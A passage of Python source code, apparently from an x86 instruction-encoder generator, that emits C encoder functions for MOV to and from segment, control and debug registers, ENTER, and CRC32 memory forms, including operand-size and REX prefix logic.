create_legacy_mem_seg(env,ii,op_info) return elif op_info == ['seg','gpr16']: # seg,gpr16 opsig = 'SR' # handled below else: die("Unhandled mov-seg case") fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(),opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_mov_seg") fo.add_arg(arg_request,'req') fo.add_arg('xed_reg_enum_t ' + op_info[0], 'seg') fo.add_arg('xed_reg_enum_t ' + op_info[1], 'gpr16') if modrm_reg_first_operand(ii): f1, f2, = 'reg','rm' else: f1, f2, = 'rm','reg' fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format(f1, op_info[0], op_info[0])) fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format(f2, op_info[1], op_info[1])) emit_required_legacy_prefixes(ii,fo) if env.mode == 64: fo.add_code_eol('emit_rex_if_needed(r)') emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def create_mov_cr_dr(env,ii): '''mov-cr and mov-dr. operand order varies''' op_info=[] # for encoding the modrm fields for op in _gen_opnds(ii): if op_gpr32(op): op_info.append('gpr32') elif op_gpr64(op): op_info.append('gpr64') elif op_cr(op): op_info.append('cr') elif op_dr(op): op_info.append('dr') opsig = make_opnd_signature(env,ii) fname = "{}_{}_{}".format(enc_fn_prefix, ii.iclass.lower(),opsig) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_mov_cr_dr") fo.add_arg(arg_request,'req') fo.add_arg('xed_reg_enum_t ' + op_info[0], op_info[0]) fo.add_arg('xed_reg_enum_t ' + op_info[1], op_info[1]) if modrm_reg_first_operand(ii): f1, f2, = 'reg','rm' else: f1, f2, = 'rm','reg' fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format(f1, op_info[0], op_info[0])) fo.add_code_eol('enc_modrm_{}_{}(r,{})'.format(f2, op_info[1], op_info[1])) emit_required_legacy_prefixes(ii,fo) if env.mode == 64: fo.add_code_eol('emit_rex_if_needed(r)') emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) emit_modrm(fo) add_enc_func(ii,fo) def create_legacy_enter(env,ii): '''These are 3 unusual instructions: enter and AMD SSE4a extrq, insrq''' global arg_imm16, var_imm16 global arg_imm8_2, var_imm8_2 fname = "{}_{}".format(enc_fn_prefix, ii.iclass.lower()) fo = make_function_object(env,ii,fname) fo.add_comment("created by create_legacy_enter") fo.add_arg(arg_request,'req') fo.add_arg(arg_imm16,'imm16') fo.add_arg(arg_imm8_2,'imm8') emit_required_legacy_prefixes(ii,fo) emit_required_legacy_map_escapes(ii,fo) emit_opcode(ii,fo) fo.add_code_eol('emit_u16(r,{})'.format(var_imm16)) fo.add_code_eol('emit(r,{})'.format(var_imm8_2)) add_enc_func(ii,fo) def is_mov_crc32(ii): return ii.iclass == 'CRC32' def is_lsl_regreg(ii): if ii.iclass == 'LSL': if not has_memop(ii): return True return False def has_memop(ii): for op in _gen_opnds(ii): if op_mem(op): return True return False def get_opnds(ii): opnds = [] for op in _gen_opnds(ii): opnds.append(op) return opnds def compute_widths_crc32(env,ii): '''return a dict by osz of {op1-width,op2-width}. Also for LSL ''' opnd_types = get_opnd_types_short(ii) if env.mode == 16: if opnd_types == ['y','v']: return { 16:{32,16}, 32:{32,32} } elif opnd_types == ['y','b']: return { 16:{32,8} } elif opnd_types == ['v','z']: return { 16:{16,16}, 32:{32,32} } elif env.mode == 32: if opnd_types == ['y','v']: return { 16: {32,16}, 32:{32,32} } elif opnd_types == ['y','b']: return { 32:{32,8} } elif opnd_types == ['v','z']: return { 16:{16,16}, 32:{32,32} } elif env.mode == 64: if opnd_types == ['y','v']: return { 16: {32,16}, 32:{32,32}, 64:{64,64} } elif opnd_types == ['y','b']: return { 32:{32,8}, 64:{64,8} } elif opnd_types == ['v','z']: return { 16:{16,16}, 32:{32,32}, 64:{64,32} } die("not reached") def create_legacy_crc32_mem(env,ii): '''GPRy+MEMv or GPRy+MEMb''' global gpry_names, arg_request, enc_fn_prefix config = compute_widths_crc32(env,ii) osz_list = list(config.keys()) dispsz_list = get_dispsz_list(env) opnd_types = get_opnd_types_short(ii) ispace = itertools.product(osz_list, get_index_vals(ii), dispsz_list) for osz, use_index, dispsz in ispace: #op_widths = config[osz] opsig = make_opnd_signature(env,ii,osz) memaddrsig = get_memsig(env.asz, use_index, dispsz) fname = '{}_{}_{}_{}'.format(enc_fn_prefix, ii.iclass.lower(), opsig, memaddrsig) fo = make_function_object(env,ii,fname,asz=env.asz) fo.add_comment("created by create_legacy_crc32_mem") fo.add_arg(arg_request,'req') op = first_opnd(ii) if op.oc2 == 'y': reg = gpry_names[osz] fo.add_arg(arg_reg_type + reg, reg) else: die("NOT REACHED") add_memop_args(env, ii, fo, use_index, dispsz, osz=osz) rexw_forced = emit_legacy_osz(env,ii,fo,osz) fo.add_code_eol('enc_modrm_reg_{}(r,{})'.format(reg, reg)) emit_required_legacy_prefixes(ii,fo) mod = get_modval(dispsz) if mod: # ZERO-INIT OPTIMIZATION fo.add_code_eol('set_mod(r,{})'.format(mod)) encode_mem_operand(env, ii, fo, use_index, dispsz) immw=0 finish_memop(env, ii, fo, dispsz, immw, rexw_forced, space='legacy') add_enc_func(ii,fo) def cond_emit_rexw(env,ii,fo,osz): rexw_forced = False if env.mode == 64: if ii.rexw_prefix == '1': rexw_forced = True fo.add_code_eol('set_rexw(r)', 'required by instr') elif osz == 64 and not ii.default_64b: rexw_forced = True fo.add_code_eol('set_rexw(r)', 'required by osz=64') return rexw_forced def emit_legacy_osz(env,ii,fo,osz): if env.mode in [32,64] and osz == 16: fo.add_code_eol('emit(r,0x66)','to set osz=16') elif env.mode == 16 and osz == 32: fo.add_code_eol('emit(r,0
codeparrot/github-code-clean